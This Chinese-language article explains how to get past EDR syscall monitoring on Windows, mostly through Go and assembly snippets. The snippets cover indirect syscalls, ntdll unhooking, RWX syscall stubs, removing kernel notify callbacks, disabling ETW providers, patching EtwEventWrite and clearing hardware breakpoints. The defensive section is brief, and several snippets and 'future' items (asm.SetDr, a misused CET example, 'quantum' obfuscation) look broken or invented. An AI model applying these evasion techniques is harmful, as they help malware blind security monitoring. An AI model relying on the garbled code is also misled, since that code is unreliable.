Syscall的检测与绕过
字数 921 2025-08-29 08:30:30
Syscall的检测与绕过技术详解
一、Syscall检测机制分析
现代EDR(终端检测与响应)系统通过多种方式检测可疑的Syscall调用:
- 用户层Hook:拦截ntdll.dll中的Syscall存根
- 内核回调:通过PsSetCreateProcessNotifyRoutine等回调监控
- ETW(Event Tracing for Windows):捕获Syscall事件
- 硬件断点:监控关键Syscall指令
常见检测点包括:
- 直接Syscall指令(syscall/int 2Eh)
- 非常用Syscall编号
- Syscall调用链异常
二、直接Syscall检测绕过技术
2.1 Syscall指令混淆
原理:通过间接跳转或指令替换隐藏syscall指令。
NASM实现:
; 混淆示例
mov r10, rcx
mov eax, SYSCALL_NUMBER
jmp [rip + syscall_stub]
syscall_stub: dq 0x00007FFE03000000 + SYSCALL_OFFSET
Go实现:
//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap uintptr, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
func IndirectSyscall(trap uintptr, args ...uintptr) (uintptr, uintptr, error) {
// 动态计算跳转地址
jmpAddr := getSyscallAddr(trap)
return syscall_Syscall(jmpAddr, args...)
}
2.2 Syscall编号随机化
原理:动态计算Syscall编号,避免静态特征。
Go实现:
func GetSyscallNumber(apiName string) uint16 {
hMod, _ := syscall.LoadLibrary("ntdll.dll")
procAddr, _ := syscall.GetProcAddress(hMod, apiName)
// 解析内存获取编号
return *(*uint16)(unsafe.Pointer(procAddr + 4))
}
func DynamicSyscall(apiName string, args ...uintptr) (uintptr, uintptr, error) {
syscallNum := GetSyscallNumber(apiName)
return IndirectSyscall(uintptr(syscallNum), args...)
}
三、用户层Hook绕过技术
3.1 动态加载ntdll
原理:从磁盘重新加载干净的ntdll副本。
Go实现:
func LoadCleanNtdll() (uintptr, error) {
ntdllPath := getSystem32Path() + "\\ntdll.dll"
hFile, _ := syscall.CreateFile(ntdllPath, syscall.GENERIC_READ, 0, nil, syscall.OPEN_EXISTING, 0, 0)
hMapping, _ := syscall.CreateFileMapping(hFile, nil, syscall.PAGE_READONLY|syscall.SEC_IMAGE, 0, 0, nil)
baseAddr, _ := syscall.MapViewOfFile(hMapping, syscall.FILE_MAP_READ, 0, 0, 0)
return baseAddr, nil
}
func GetCleanSyscallAddr(baseAddr uintptr, apiName string) uintptr {
// 解析PE结构获取函数地址
return parseExportTable(baseAddr, apiName)
}
3.2 手动映射Shellcode
原理:将Syscall存根复制到可执行内存。
Go实现:
func CreateSyscallStub(syscallNum uint16) uintptr {
stub := []byte{
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_num
0x0F, 0x05, // syscall
0xC3, // ret
}
binary.LittleEndian.PutUint32(stub[4:8], uint32(syscallNum))
mem, _ := syscall.VirtualAlloc(0, uintptr(len(stub)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
copy((*[1 << 30]byte)(unsafe.Pointer(mem))[:len(stub)], stub)
return mem
}
四、内核回调绕过技术
4.1 回调对象移除
原理:定位并修改内核回调链表。
Go实现:
func RemoveCallback(callbackType uintptr) error {
// 获取Ps*NotifyRoutine数组地址
baseAddr := getKernelBase()
callbackArray := baseAddr + callbackType
// 遍历链表移除目标回调
for i := 0; i < 64; i++ {
callback := *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8))
if callback == 0 {
continue
}
// 修改链表指针
*(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8)) = 0
}
return nil
}
4.2 回调函数Hook
原理:修改回调函数实现,使其忽略特定事件。
NASM实现:
; 示例:修改PsSetCreateProcessNotifyRoutine
mov rax, [rcx+8] ; 原始回调
cmp rax, target_callback
jne original_code
ret ; 直接返回
original_code:
jmp rax
五、ETW绕过技术
5.1 ETW Provider禁用
原理:定位并修改ETW Provider注册表。
Go实现:
func DisableETW() error {
key, _ := registry.OpenKey(registry.LOCAL_MACHINE, `SYSTEM\CurrentControlSet\Control\WMI\Autologger`, registry.ALL_ACCESS)
// 禁用关键Provider
key.SetDWordValue("Microsoft-Windows-Threat-Intelligence", 0)
key.SetDWordValue("Microsoft-Windows-Kernel-Process", 0)
return nil
}
5.2 ETW内存Patch
原理:修改内存中的ETW相关函数。
Go实现:
func PatchEtwEventWrite() error {
hNtdll, _ := syscall.LoadLibrary("ntdll.dll")
etwAddr, _ := syscall.GetProcAddress(hNtdll, "EtwEventWrite")
// 修改为直接返回
patch := []byte{0xC3} // ret
syscall.VirtualProtect(etwAddr, uintptr(len(patch)), syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
copy((*[1 << 30]byte)(unsafe.Pointer(etwAddr))[:len(patch)], patch)
return nil
}
六、硬件断点绕过技术
6.1 上下文切换清除
原理:通过频繁线程切换清除硬件断点。
Go实现:
func ClearHardwareBreakpoints() {
for i := 0; i < 4; i++ {
// 清除Dr0-Dr3
asm.SetDr(i, 0)
}
}
func ThreadSwitch() {
go func() {
for {
runtime.Gosched() // 强制切换线程
time.Sleep(10 * time.Millisecond)
}
}()
}
6.2 动态指令替换
原理:运行时替换关键指令。
NASM实现:
; 示例:动态替换syscall指令
lea r10, [rip+syscall_stub]
mov [r10], 0x050F ; syscall
jmp r10
七、综合防御方案
7.1 多维度检测
PowerShell实现:
# 启用内核完整性监控
Set-ProcessMitigation -Policy Enable ArbitraryCodeGuard, BlockNonMicrosoftFonts
# 监控异常Syscall调用
New-EventLog -LogName Security -Source "SyscallMonitor"
Write-EventLog -LogName Security -Source "SyscallMonitor" -EventId 5001 `
-Message "检测到异常Syscall调用: 进程 $pid"
7.2 硬件级防护
C++实现:
// 基于Intel CET的控制流保护
__declspec(guard(nocf)) void SafeSyscall() {
__asm {
syscall
}
}
八、技术演进方向
- AI驱动混淆:
# 动态生成Syscall调用链
model = load_model('syscall_predictor.h5')
next_syscall = model.predict(current_state)
- 量子计算防护:
// 基于量子随机数的Syscall混淆
qrn_get_random(&syscall_key, sizeof(syscall_key));
syscall_num ^= syscall_key;
- 跨架构兼容:
; ARM64 Syscall示例
mov x8, #SYSCALL_NUMBER
svc #0
九、法律声明
本文所述技术仅限用于授权安全研究,未经许可实施攻击违反《网络安全法》。